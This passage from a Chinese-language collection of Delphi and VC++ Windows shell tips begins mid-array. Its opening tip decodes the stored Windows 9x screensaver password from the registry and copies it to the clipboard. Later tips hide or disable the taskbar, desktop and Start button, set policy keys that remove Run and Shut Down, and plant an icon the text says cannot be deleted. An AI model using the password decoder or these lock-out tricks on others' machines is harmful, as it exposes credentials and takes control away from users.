27,122,140,71,248,84,149,151,95,120,217,218,108,89,215,107,
53,197,119,133,24,42,14,82,255,0,227,27,113,141,52,99,235,

145,195,36,15,183,194,248,227,182,84,76,53,84,231,201,73,40,

163,133,17,11,44,104,251,238,125,246,108,227,156,45,228,114,

195,187,133,26,18,60,50,227,107,79,77,244,169,36,200,250,120
,

173,35,161,228,109,154,4,206,43,197,182,197,239,147,92,168,

133,43,65,55,114,250,87,69,65,161,32,79,128,179,213,35,2,100
,
63,108,241,15);

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var
buf:
Array[0..256] of char;
laenge: word;
a: byte;
asdec: byte;
passwort : String[128];
begin
passwort :=
'';
asdec := 0;

reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\Control Panel\Desktop',FALSE);
Reg.ReadBinaryData('ScreenSave_Data', buf, sizeof(buf));

//... shr 1
//Verschieben der Bits um eine Stelle nach Rechts -->
Division durch 2
laenge := (Reg.GetDataSize('ScreenSave_Data') - 1) shr 1;

if Reg.ReadBool('ScreenSaveUsePassword') then
For a := 1 to laenge do
begin
asdec := strtoint('$' + buf[(a shl 1)-2] + buf[(a shl
1)-1]);
passwort := concat(passwort, Chr(asdec xor xorwert
[a]));
edit1.color := $FFFFFF;
end else passwort := '+++ passwort deaktiviert +++';

reg.free;
edit1.Text := passwort;
Edit1.SelectAll;
Edit1.CopyToClipboard;
end;

end.


改变显示设置

 windows api :ChangeDisplaySettings


隐藏桌面上的图标

 var
hDesktop : THandle;
begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_HIDE);
end;
;


玩转桌面图标

首先要对付的是桌面图标那一个个难看的、带有背景色的文字，不仅看上去别扭，还遮住了漂亮的墙纸，一定要去掉它，把它变成透明。其次就是图标的位置，只会傻傻地呆在屏幕的左边，还得我们一个个去拖，真累！给它来点新花样，Please Follow Me！

1、 新建一工程，在 uses 中加入 CommCtrl 单元，窗体上加一个按钮；

2、 声明一个取得桌面句柄的函数：

function TForm1.GetDesktopHand: THandle;

begin

Result:=FindWindow('progman',nil);

Result:=GetWindow(Result,GW_Child);

Result:=GetWindow(Result,GW_Child);

end;

3、 声明一个设置图标文字颜色的过程：

procedure TForm1.SetTextColor(ForeClr, BackClr: TColor);

var Hand: THandle;

begin

Hand:= GetDesktopHand;

Listview_SetTextColor(Hand,ForeClr); // 设置文字前景色；

Listview_SetTextBkColor(Hand,BackClr); // 设置文字背景色，crNone 为透明；

Listview_RedrawItems(Hand,0,Listview_GetItemCount(Hand)); // 重画；

end;

有了上面的两个方法，你已经可以对桌面动小手术了。下面介绍图标的排列方式。

4、 以屏幕的中心为圆点作圆形排列：

procedure TForm1.Circle(r: integer); // 形参 r 为半径；

var

i, Count, CenterX, CenterY, TempR :integer;

Hand: THandle;

Radian: double;

TempRect: TRect;

DesktopHeight,DesktopWidth :integer;

X, Y : Word;

begin

Hand:=GetDesktopHand;

SystemParametersInfo(SPI_GetWorkArea,0,@TempRect,0); // 取得工作区域；

DesktopWidth:=TempRect.Right - TempRect.Left; // 工作区的宽（即屏幕的宽）；

DesktopHeight:= TempRect.Bottom - TempRect.Top; // 工作区的高（即屏幕的高）；

CenterX:=DesktopWidth div 2; // 取得圆心 X 坐标；

CenterY:=DesktopHeight div 2; // 圆心 Y 坐标；

if CenterX>CenterY then

TempR:=CenterY

else

TempR:=CenterX;

if r>TempR then r:=TempR; // 半径不能超过屏幕中心点到四边的最短距离；

Count:=Listview_GetItemCount(Hand); // 桌面上图标个数；

Radian:=2*3.14159/Count; // 相邻图标间的弧度；

for i:=0 to Count-1 do

begin

// 第一个图标排在正上方；

X:=Integer(CenterX+Trunc(r*Sin(i*Radian))); // 图标的X坐标；

Y:=Integer(CenterY+Trunc(r*Cos(i*Radian))); // 图标的Y坐标；

SendMessage(Hand,LVM_SetItemPosition,i,MakeLparam(X, y)); // 设置坐标；

end;

end;

5、 图标右对齐：

procedure AlignRight(Rec: Integer); // 形参 Rec 为一个图标所占区域大小，一般为77；

var Hand: THandle;

h, I, j, DesktopHight, DesktopWidth :integer;

TempRect : TRect;

Begin

Hand:=GetDesktopHand;

SystemParametersInfo(SPI_GetWorkArea,0,@TempRect,0); // 取得工作区域；

DesktopWidth:=TempRect.Right - TempRect.Left; // 工作区的宽（即屏幕的宽）；

DesktopHeight:= TempRect.Bottom - TempRect.Top; // 工作区的高（即屏幕的高）；

I:=0; // 图标所排的列数

J:=0;

For h:=0 to Listview_GetItemCount(Hand)-1 do

Begin

Inc(j);

If j*rec>DesktopHeight then // 排完一列；

Begin

Inc(i); // 换列

J:=1;

End;

SendMessage(Hand,LVM_SetItemPosition,h,

MakeLparam(DesktopWidth-Rec*(I+1),Rec*(j-1));

End; // for 循环结束；

End;

6、 在按钮的单击事件中加入代码：

procedure TForm1.Button1Click(Sender: TObject);

begin

SetTextColor(clBlack,crNone); // 设置图标文字颜色；

Circle(200); // 把图标排列成半径为200的圆；

// AlignRight(77)； // 右对齐；

end;

编译运行，单击按钮。哇塞！太棒了！你还可发挥你的想象力，对程序稍加改进，把图标排成蛇形、椭圆形、环形等等。以上程序在 Win98+Delphi5下运行通过。


启动开始菜单

大鱼儿

摘　要：在自己的程序里面启动开始菜单
关键字：开始菜单
类　别：API

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

Sendmessage(Application.Handle,WM_SYSCOMMAND,SC_TASKLIST,0);
投稿人：大鱼儿　投稿日期：2001-6-24 16:36:00


获得任务条属性

procedure TForm1.Button1Click(Sender: TObject);
var
TMydata: Tappbardata;
i :integer;
begin

TMydata.cbSize := sizeof (TMydata);
i := SHAppBarMessage (
ABM_GETSTATE,TMydata );
showmessage ( inttostr (i));

{ 0: 自动隐藏和总在顶端没设定
1: 总在顶端没设定，自动隐藏设定
2: 总在顶端设定，自动隐藏没设定
3: 总在顶端设定，自动隐藏设定
//0，3我没测试，有可能不对
}
end;


使系统开始按钮失效

procedure TForm1.Button1Click(Sender: TObject);
var
Rgn : hRgn;
begin
{Hide the start button}
Rgn := CreateRectRgn(0, 0, 0, 0);
SetWindowRgn(FindWindowEx(FindWindow('Shell_TrayWnd', nil),
0,
'Button',
nil),
Rgn,
true);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
{Turn the start button back on}
SetWindowRgn(FindWindowEx(FindWindow('Shell_TrayWnd', nil),
0,
'Button',
nil),
0,
true);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
{Disable the start button}
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),
0,
'Button',
nil),
false);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
{Enable the start button}
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),
0,
'Button',
nil),
true);
end


获得系统任务条句柄

 hTaskbar := FindWindow('Shell_TrayWnd', Nil );


清除系统启动后的桌面

清除所有桌面ICON；
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
新建 DWORD值，名为 NoDesktop，值为 1，搞定。

然后“开始”菜单里没有主要内容：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore\
NoRun DWORD 1 没有“运行”
NoFind DWORD 1 没有“查找”
NoClose DWORD 1 没有“关闭”
NoRecentDocsHistory 二进制 01000000 没有“文档”


向任务条添加任务

First You should get TrayBar handle:
FindWindow( 'Shell_TrayWnd', '' )

And then You may do whatever You whant. For example create a button:

AButtonWnd :=CreateWindow( 'button' ,
'Caption' ,
WS_ChildWindow ,
0 ,
0 ,
75 ,
20 ,
FindWindow( 'Shell_TrayWnd', '' ) ,
0 ,
hInstance ,
Nil );
ShowWindow( AButtonWnd, SW_SHOW )

If You don't whant to create controls by Yourself and let Delphi do it,
use such a WinApi function for any Delphi-made control:
function SetParent(WndChild: HWnd;
WndNewParent: HWnd): HWnd;
( see coresponding Help )


隐藏开始按钮

procedure hideStartbutton(visi:boolean);
Var
Tray, Child : hWnd;
C : Array[0..127] of Char;
S : String;

Begin
Tray := FindWindow('Shell_TrayWnd', NIL);
Child := GetWindow(Tray, GW_CHILD);
While Child <> 0
do Begin
If GetClassName(Child, C, SizeOf(C)) > 0
Then Begin
S := StrPAS(C);
If UpperCase(S) = 'BUTTON'
then begin
// IsWindowVisible(Child)
startbutton_handle:=child;
If Visi
then ShowWindow(Child, 1)
else ShowWindow(Child, 0);
end;
End;
Child := GetWindow(Child, GW_HWNDNEXT);
End;
End;


程序缩小为任务条右下角的小图标

    某些程序运行启动后并不出现在任务条中，而是缩小为任务条右下角的一个小图标，当鼠标移到这个小图标上时会出现一些提示信息、单击该小图标会执行一些特定的操作。便如任务条右下角的小喇叭图标，单击它会弹出一个简单的音量控制条，双击会启动另一个更大的音量控制程序。
    在Shell32.DLL动态链接库中包括一个函数Shell_NotifyIconA()可通知Windows在任务条右下角加入一个小图标，可惜该函数的详细说明未收入Delphi的帮助文档中，下面以一个简单的实例来说明如果使用该函数。

unit Unit1;

interface

{ 记住在uses部分中包括 ShellAPI}

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
ShellAPI, StdCtrls;

{自定义消息，当小图标捕捉到鼠标事件时Windows向回调函数发送此消息}
const MY_MESSAGE = WM_USER +
100;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormPaint(Sender: TObject);
private
procedure OnIconNotify(var Message: TMessage);
message MY_MESSAGE;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

{当小图标捕捉到鼠标事件时进入此过程}
procedure TForm1.OnIconNotify(var Message: TMessage);
const
Busy: Boolean = false;
begin
if not Busy then begin

Busy := true;
if Message.LParam=WM_LBUTTONDOWN then
if Application.MessageBox('Are you sure',
'Exit', MB_YESNO)=IDYES then Close;
Busy := false;
end;
end;

{当主Form建立时通知Windows加入小图标}
procedure TForm1.FormCreate(Sender:
TObject);
var
nid: TNotifyIconData;
begin
nid.cbSize
:= sizeof(nid); // nid变量的字节数
nid.Wnd := Handle; // 主窗口句柄
nid.uID := -1; // 内部标识，可设为任意数
nid.hIcon := Application.Icon.Handle; //
要加入的图标句柄，可任意指定
nid.szTip := 'This is a test application'; //
提示字符串
nid.uCallbackMessage := MY_MESSAGE; // 回调函数消息

  nid.uFlags := NIF_ICON or NIF_TIP or NIF_MESSAGE; //
指明哪些字段有效
if not Shell_NotifyIcon(NIM_ADD, @nid) then
begin
ShowMessage('Failed!');
Application.Terminate;
end;
{将程序的窗口样式设为TOOL窗口，可避免在任务条上出现}
SetWindowLong(Application.Handle,
GWL_EXSTYLE, WS_EX_TOOLWINDOW);
end;

{程序被关闭时通知Windows去掉小图标}
procedure TForm1.FormClose(Sender: TObject; var
Action: TCloseAction);
var
nid: TNotifyIconData;
begin
nid.cbSize := sizeof(nid); // nid变量的字节数
nid.uID := -1;
//内部标识，与加入小图标时的数一致
nid.Wnd := Handle; //主窗口句柄
Shell_NotifyIcon(NIM_DELETE, @nid); //去掉小图标

end;

{主窗口初始化完毕并显示时将激活Paint重画事件，此时将主窗口隐藏}
procedure TForm1.FormPaint(Sender: TObject);
begin
Hide;
end;

end.

    上例中将程序的图标放在任务条右下角，然后隐藏自身，当用户移动鼠标至该图标上时会看到提示字符串，如果单击该图标会出现一个对话框，选择Yes退出程序并清除小图标。


隐藏和显示任务条

如果隐藏和显示Windows的任务条?仅仅调用以下的函数就可以.

procedure hideTaskbar; //隐藏

var

wndHandle : THandle;

wndClass : array[0..50] of Char;

begin

StrPCopy(@wndClass[0], 'Shell_TrayWnd');

wndHandle := FindWindow(@wndClass[0], nil);

ShowWindow(wndHandle, SW_HIDE);

End;

procedure showTaskbar;

var

wndHandle : THandle;

wndClass : array[0..50] of Char;

begin

StrPCopy(@wndClass[0], 'Shell_TrayWnd');

wndHandle := FindWindow(@wndClass[0], nil);

ShowWindow(wndHandle, SW_RESTORE);

end;

/////////////////////////////////////////////

procedure HideTaskBar;
var
hApp: HWND;
rcWork:
TRect;
begin
{ get the
taskbar handle }
hApp :=
FindWindow('Shell_TrayWnd', '');
if hApp <>
0 then begin
{ hide taskbar }
ShowWindow(hApp, SW_HIDE);
{ set workarea to full screen }
FullScreenArea;
end;
end;
procedure ShowTaskBar;
var
hApp: HWND;
rcApp,
rcWork: TRect;
begin
{
get the taskbar handle }
hApp :=
FindWindow('Shell_TrayWnd', '');
if hApp <>
0 then begin
{ restore taskbar }
ShowWindow(hApp, SW_RESTORE);
{ set workarea excluding taskbar }
StandardArea;
end;
end;


获得除了任务条的桌面的大小

 procedure TForm1.Button1Click(Sender: TObject);
var
r : TRect;
begin
SystemParametersInfo(SPI_GETWORKAREA,
0,
@r,
0);
Memo1.Lines.Add(IntToStr(r.Top));
Memo1.Lines.Add(IntToStr(r.Left));
Memo1.Lines.Add(IntToStr(r.Bottom));
Memo1.Lines.Add(IntToStr(r.Right));
end;


控制壁纸

控制Windows 95的壁纸，以下程序使壁纸变为我们想要的位图，如果THEPCHAR为空，那么就取消壁纸，变为Win默认色彩； 但这种方法只是暂时的，在WINDOWS重新启动后还是原来的位图，这时就需要对WIN.INI文件进行写操作，才能保存住我们改动的图片不被替换。
var THEPCHAR:pchar;
begin
THEPCHAR:='e:\a.bmp';
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, THEPCHAR, SPIF_SENDWININICHANGE)
end;

用Delphi实现壁纸更换

    在Windows95/98中，都是使用注册表对系统数据进行管理,有关壁纸的设置数据保存在Hkey_Current_User\Control Panel\Desktop的Wallpaper和TileWallpaper 等键值中,只要成功修改了这两个键值,然后发消息给Windows即可更换壁纸。在本例的程序中,使用了一个Tform;两个Tspeedbutton(Speedbutton1用于接受用户的浏览命令,Speedbutton2用于接受用户的更换壁纸命令);一个Timage(用于显示图片)。另外，还用到一组文件控件：Tfilelistbox,Tdrivecombobox,Tdirectorylistbox,用于选择图片文件，可以设置FileListBox的mask属性，筛选显示在FileListBox 中的文件类型(如只显示.bmp文件)。下面的两个程序段是实现浏览图片和更换壁纸的关键代码。
Procedure Tform1.SpeedButton1Click(Sender:Tobject);
Begin
If (filelistbox1.FileName=
′′) Then {判断Filelistbox1中文件有没有被选中}
    Messagedlg(′请先选择一幅位图′,mtInformation,[mbOK],0)
Else
Image1.Picture.LoadFormFile(Filelistbox1.FileName);{加载图片文件并显示}
End;
ProcedureTform1.SpeedButton2Click(Sender:TObject);
Var
Reg:Tregistry;{Tregistry 对象在Registry 单元中声明，需用Uses令引用Registry单元}
}
Begin
If (Filelistbox1.FileName=′′) Then
Messagedlg(′请先选择一幅位图′,mtinformation,[mbOK],0)
Else
Begin
Reg:=Tregistry.Create;{创建Tregistry对象的实例}
Reg.Rootkey:= Hkey_Current_User;{设置根键名称}
Reg.OpenKey′Control Panel\Desktop′,False); {打开Control Panel\Desktop 路径对应的主键}
Reg.WriteString (′TileWallPaper′,
′0′);
Reg.WriteString
′Wallpaper′，fileli
stbox1.FileName);{向TileWallpaper 和Wallpaper串覆盖写入新值}
Systemparametersinfo(SPI_SETDESKWallpaper,0,Nil,SPIF_SendChange);{向Windows发送消息，通知Windows更换壁纸}
Reg.CloseKey;{将更改内容写入注册表并关闭}
Reg.Free;{释放对象}
End;
End;
    代码中用到的一些函数可以察看Delphi的联机帮助。需要注意的是:调用打开子键的函数OpenKey时，第二个参数一定要设为False。
(请作者速与本报联系)

本文出自：《电脑报》1999年03月22日第11期
//////////////////////////////////////
增强的版本
uses
Registry, WinProcs, SysUtils;

const
// WallPaperStyles
WPS_Tile = 0;
WPS_Center = 1;
WPS_SizeToFit = 2;
WPS_XY = 3;

//
// sWallpaperBMPPath
//   - path to a BMP file
//
//
nStyle
//   - any of the above WallPaperStyles
//
// nX,
nY
//   - if the nStyle is set to
WPS_XY,
//     nX and nY can be used to set
the
//     exact position of the wall
paper
//
procedure SetWallpaperExt(
sWallpaperBMPPath :
string;
nStyle,
nX, nY : integer );
var
reg    : TRegIniFile;
s1     :
string;
X, Y   : integer;
begin
//
//
change registry
//
// HKEY_CURRENT_USER\
//   Control Panel\Desktop
//
TileWallpaper (REG_SZ)
//     Wallpaper
(REG_SZ)
//     WallpaperStyle (REG_SZ)
//     WallpaperOriginX (REG_SZ)
//     WallpaperOriginY (REG_SZ)
//
reg
:=
TRegIniFile.Create(
'Control Panel\Desktop' );

with reg do
begin
s1 := '0';
X := 0;
Y := 0;

case nStyle of
WPS_Tile : s1 := '1';
WPS_Center: nStyle := WPS_Tile;
WPS_XY :
begin
nStyle := WPS_Tile;
X := nX;
Y := nY;
end;
end;

WriteString( '',
'Wallpaper',
sWallpaperBMPPath );

WriteString( '',
'TileWallpaper',
s1 );

WriteString( '',
'WallpaperStyle',
IntToStr( nStyle ) );

WriteString( '',
'WallpaperOriginX',
IntToStr( X ) );

WriteString( '',
'WallpaperOriginY',
IntToStr( Y ) );
end;
reg.Free;

//
// let everyone know that we
// changed a system parameter
//
SystemParametersInfo(
SPI_SETDESKWALLPAPER,
0,
Nil,
SPIF_SENDWININICHANGE );
end;

Here are two examples on how to call the above SetWallpaperExt() function.

// set wallpaper to winnt.bmp and
// stretch it to fit the screen
SetWallpaperExt(
'c:\winnt\winnt.bmp',
WPS_SizeToFit, 0, 0 );

// set the wallpaper origin
// to (10, 200)
SetWallpaperExt(
'c:\winnt\winnt.bmp',
WPS_XY, 10, 200 );

/////////////////////////////////////
永久改变
SystemParametersInfo (SPI_SETDESKWALLPAPER, 0, 'Sample.bmp', SPIF_UPDATEINIFILE);

临时改变：
SystemParametersInfo (SPI_SETDESKWALLPAPER, 0, 'Sample.bmp',0);


改变开始按钮的位置

Align = top;
width = screen.width;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

var

p: tpoint;

begin

   getcursorpos(p);
movewindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0,
   'Button', nil),x,y,25,25,true);

end;

   procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
    Y: Integer);
var
p: tpoint;
begin
getcursorpos(p); movewindow(FindWindowEx(FindWindow('Shell_TrayWnd',
    nil), 0, 'ReBarWindow32', nil),x,y,25,25,true);
end;


刷新系统桌面

procedure TForm1.Button1Click(Sender: TObject);
begin
SendMessage(FindWindow('Progman', 'Program Manager'),
WM_COMMAND,
$A065,
0);
end;

procedure RefreshDesktop;
var c1 : THandle;
begin
c1:=windows.FindWindowEx(windows.FindWindowEx(windows.FindWindow('Progman','Program Manager'),0,'SHELLDLL_DefView',''),0,'SysListView32','');
PostMessage(c1,WM_KEYDOWN,VK_F5,0); PostMessage(c1,WM_KEYUP,VK_F5,1 shl 31);
end;

这条命令应该是最标准的答案，可以用来刷新桌面，同时重读所有的图标。

SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);


在桌面创建无小箭头的快捷方式

This article was contributed by Sundar & Naresh

我们如果要在桌面上建立一个快捷方式，我们通常是用IShellLink接口来生成一个.lnk文件。用这种方式创建，我们在桌面上得到的是一个左下方还含有小箭头的图标,右击它，你会看到正常的弹出菜单（含有复制、粘贴等）。但是你看桌面上IE的快捷方式，你会看到它是一个正常的图标（没有小箭头），而且弹出菜单也不同。下面我们来建立一个这种风格的快捷方式。

执行这段代码，你会在桌面上获得一个名叫"Netlinker"的图标，右击它，你会看到一个定制的菜单（没有剪切、复制、粘贴、重命名等菜单祥）。

你甚至不能把它从桌面上删除，如果你选“属性”，它会打开IE的属性对话框选一个图标文件

CString shtct_ico=_T("C:\\32x32.ico");

显示IE属性对话框.

CString shtct_prop=_T("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0");

快捷方式的名字

CString shtct_name=_T("Netlinker");

找到IE的路径并保存它.

CRegKey m_Kiepath;

CString ie_path;

DWORD dwval;

m_Kiepath.Open(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\"

"CurrentVersion\\App Paths\\IEXPLORE.EXE");

m_Kiepath.QueryValue(ie_path.GetBuffer(1000),

NULL,

&dwval);

m_Kiepath.Close();

CString shtct_to=ie_path;

用guidgen.exe创建一个GUID并复制粘贴到这里。这是用来表现我们的快捷方式和它的菜单项的。我用guidgen.ext创建的GUID是6270AEE4-AA41-11d4-A25D-008048B63F94。

下面的程序在HKCR\CLSID创建这个 GUID 键，并且将快捷方式的值设为它。

CRegKey m_kdsktp;

m_kdsktp.Create(HKEY_CLASSES_ROOT,

"CLSID\\{6270AEE4-AA41-11d4-A25D-"

"008048B63F94}");

m_kdsktp.SetValue(shtct_name);

m_kdsktp.Close();

在这个GUID下创建DefaultIcon 键, 它是用来表现快捷方式的图标的并把他的值设为相应的图标文件的路径.

m_kdsktp.Create(HKEY_CLASSES_ROOT,

"CLSID\\{6270AEE4-AA41-11d4-A25D"

"-008048B63F94}\\DefaultIcon");

m_kdsktp.SetValue(shtct_ico);

m_kdsktp.Close();

设置右击菜单的菜单项.

设置打开菜单项

m_kdsktp.Create(HKEY_CLASSES_ROOT,

"CLSID\\{6270AEE4-AA41-11d4-A25D-"

"008048B63F94}\\Shell\\Open\\Command");

m_kdsktp.SetValue(shtct_to);

m_kdsktp.Close();

设置属性菜单项.

m_kdsktp.Create(HKEY_CLASSES_ROOT,

"CLSID\\{6270AEE4-AA41-11d4-A25D-"

"008048B63F94}\\Shell\\Properties\\Command");

m_kdsktp.SetValue(shtct_prop);

m_kdsktp.Close();

把原来的缺省菜单项（如复制粘贴等）去掉.

BYTE *b;

HANDLE heap;

char a[20];

m_kdsktp.Create(HKEY_CLASSES_ROOT,

"CLSID\\{6270AEE4-AA41-11d4-A25D-"

"008048B63F94}\\ShellFolder");

strcpy(a,"00.00.00.00");

heap=HeapCreate(0,0,0);

b=(BYTE*)HeapAlloc(heap,0,30);

sscanf(a,

"%x.%x.%x.%x",

&b[0],

&b[1],

&b[2],

&b[3]);

RegSetValueEx(m_kdsktp.m_hKey,

"Attributes",

0,

REG_BINARY,

b,

4);

HeapFree(heap, 0, b);

HeapDestroy(heap);

m_kdsktp.Close();

接下来我们添加一个引用到

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\Namespace

这样它将只显示在桌面上。

m_kdsktp.Create(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\"

"CurrentVersion\\Explorer\\Desktop\\"

"NameSpace\\{6270AEE4-AA41-11d4-A25D-"

"008048B63F94}");

m_kdsktp.SetValue("Netlink");

m_kdsktp.Close();

我们对Shell作了改动，我们要通知系统，这个改动才会马上表现出来.

SHChangeNotify(SHCNE_ASSOCCHANGED,SHCNF_FLUSHNOWAIT, 0, 0);


切换任务条时钟的显示

//隐藏

procedure TForm1.Button1Click(Sender: TObject);

var hn : HWnd;

begin

hn := FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'TrayNotifyWnd',nil),0,'TrayClockWClass',nil);//die Uhr

if hn <> 0 then

ShowWindow(hn,SW_HIDE);//Bye,bye,Baby

end;

//显示 :

procedure TForm1.Button2Click(Sender: TObject);

var hn : HWnd;

begin

hn := FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'TrayNotifyWnd',nil),0,'TrayClockWClass',nil);

if hn <> 0 then

ShowWindow(hn,SW_SHOW);//Hello, again

end;


改变桌面背景色

 SendMessage(GetDesktiopListViewHandle, $1001, 0, $ff);//临时的
SetSysColors也可以发变桌面的背景色：
Var
c1, c2: TCOLORREF;
Begin
c1:= COLOR_DESKTOP;
c2:= RGB(192,192,192);
SetSysColors( 1, c1, c2 );
End;//永久的


设定任务栏位置

procedure TaskBarOnTop(bOnTop: boolean);
var
hApp: HWND;
begin
{ get the taskbar handle }
hApp := FindWindow('Shell_TrayWnd', '');
if hApp <> 0 then begin
if bOnTop then
setWindowPos(hApp,HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE)
else
setWindowPos(hApp,HWND_BOTTOM, 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE);
end;
end;
procedure SetTaskBarOnTop;
begin
TaskBarOnTop(True);
end;

procedure SetTaskBarAtBottom;
begin
TaskBarOnTop(False);
end;


把桌面上图标的文字的背景色改为透明

procedure TForm1.Button1Click(Sender: TObject);

var wnd:HWND;
begin
Wnd :=
GetDesktopWindow;
Wnd := FindWindowEx(Wnd, 0, 'Progman',
nil);

Wnd := FindWindowEx(Wnd, 0, 'SHELLDLL_DefView', nil);

Wnd := FindWindowEx(Wnd, 0, 'SysListView32', nil);

SendMessage(Wnd, $1026, 0, $ffffffff); //this
SendMessage(Wnd, $1024, 0, $00ffffff);
InvalidateRect(Wnd, nil, TRUE);
end;


隐藏桌面

var
Handle: THandle;
begin
Handle :=
FindWindow('progman', 'Program Manager');
Handle :=
GetTopWindow(Handle);
Handle := GetTopWindow(Handle);
ShowWindow(Handle, SW_HIDE);
end;

This will hide the actual listView that displays the icons. It will allow right clicks to continue working so a refresh can be done etc...

TO hide it and disable the right click on the desktop do it like this

var
Handle: THandle;
begin
Handle :=
FindWindow('progman', 'Program Manager');
//Handle :=
GetTopWindow(Handle);
//Handle := GetTopWindow(Handle);
ShowWindow(Handle, SW_HIDE);
end;

This completely disables the desktop.
You will have to manually call this again with SW_SHOW
to bring it back


获得桌面列表视图的句柄

function GetDesktopListViewHandle: THandle;
var
S: String;
begin
Result := FindWindow('ProgMan', nil);
Result := GetWindow(Result, GW_CHILD);
Result := GetWindow(Result, GW_CHILD);
SetLength(S, 40);
GetClassName(Result, PChar(S), 39);
if PChar(S) <> 'SysListView32' then Result := 0;
end;


DLL中使用String

调用DLL中的对象的方法返回值为string时报错！！！！
问题：

对象TDllNumber在objdll.dll中定义：

objdll.dll输出一个函数：CreateObject

type
TDllNumber=class
public
function GetOk:string;virtual;abstract;
end;
TDllNumber1=class(TDllNumber)
public
constructor create;
function GetOk:string;override;
end;
function CreateObject:TDllNumber;export;

implementation

constructor TDllNumber1.create;
begin
inherited create;
end;

function TDllNumber1.GetOk: string;
begin
result:='ok';
end;
function CreateObject:TDllNumber;
begin
Result:=TDllNumber1.Create;
end;

在程序中调用对象：
type

TDllNumber=class
public
function GetOk:string;virtual;abstract;
end;
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

function CreateObject:TDllNumber;stdcall;external 'objdll.dll';
implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
Ok:string;
TestObj:TDllNumber;
begin
TestObj:=CreateObject;
Ok:=TestObj.GetOk;
ShowMessage(ok);
TestObj.Free;
end;

当程序运行到button1click最后是包错：
Invalid pointer Operation!!!
但是为integer,pchar不报错！！！！

总结：
1。 在dll中定义返回string字符串的函数时，如果没有特殊处理调用该函数
在退出调用该函数的过程（函数/事件）时，会出现以下错误：
Invalid Pointer Operator!

2。当在单元中添加ShareMem时，在退出程序的时候会出现同样的错误

3。当在调用dll的项目文件中（不是在单元文件）添加ShareMem时，能够正常
运行.

4. String类型是Borland自定的特殊类型，使用起来真是无比方便，
但是，它需要borladmm.dll的支持，在动态链接库中想使用STRING类型
要经过特殊的手段，因此还是使用PCHAR类型吧。PCHAR也挺方便的。
另外如果没有特殊处理的话: WideString-可以
AnsiString-不可以


创建纯资源的DLL

创建并编译一个空的DLL工程，在这个工程中包含你的.res资源文件。

示例：

library ResTest;

uses

SysUtils;

{$R MYRES.RES}

begin

end.

使用这个纯资源DLL时，只需要简单地载入这个DLL，就可以使用你想使用的资源。

示例：

{$IFDEF WIN32}

const BadDllLoad = 0;

{$ELSE}

const BadDllLoad = 32;

{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);

var

h : THandle;

Icon : THandle;

begin

h := LoadLibrary('RESTEST.DLL');

if h <= BadDllLoad then

ShowMessage('Bad Dll Load')

else begin

Icon := LoadIcon(h, 'ICON_1');

DrawIcon(Form1.Canvas.Handle, 10, 10, Icon);

FreeLibrary(h);

end;

end;


VC与 Delphi之间动态链接库互相调用

    Delphi 调用VC的DLL

  1. VC中DLL声名格式：

    Extern “C” void __declspec(dllexport) __stdcall ShowMess(HWND hwnd, char* mess);

    输出格式为：_ShowMess@8，“8”为函数参数字节数

    为了避免名称分裂，可采用以下方法解决：

    1.声明中不加__stdcall，采用VC默认格式__cdecl，但在Delphi中要注明调用格式为cdecl。

    2.在VC工程中添加def文件，如：

    LIBRARY

    EXPORTS

    ShowMess @1

    则DLL中输出函数名称不分裂。

  2. Delphi中调用格式：

    Procedure ShowMess (h:HWND; mess:PChar); Stdcall;{Cdecl;} external LibName;

    如无Stdcall或Cdecl声名，Delphi默认Register(FastCall)调用格式。

  3. 注意Delphi与VC的对齐格式不同，在VC中定义结构时要用以下格式：

    #pragma pack(4)

    //结构定义

    #pragma pack()

  4. 常用工具：

TDump.exe－Delphi 4 和 C＋＋ Builder 3 提供

Impdef.exe 和 Implib.exe － C＋＋ Builder 3提供

DumpBin.exe－VC5.0提供

Lib.exe－VC5.0提供

VC调用Delphi的DLL

  1. Delphi中的声名格式：

    Function ShowDialog( hMainWnd:THandle;
  Msg:PChar ):integer;
  stdcall;

    输出到Dll文件中时，名称不分裂。

  2. VC中的调用格式：

extern "C" __declspec(dllimport) int __stdcall ShowDialog( HWND hwnd,char* Msg );

．如带有__stdcall，则要求Lib文件中对应函数名称分裂，可有以下步骤生成Lib文件：

．用Impdef.exe生成def文件，格式为：Impdef def文件名 dll文件名

．手工调制def文件参数，如ShowDialog改为ShowDialog@8

．用Lib.exe生成lib文件，格式为：Lib /def:def文件名

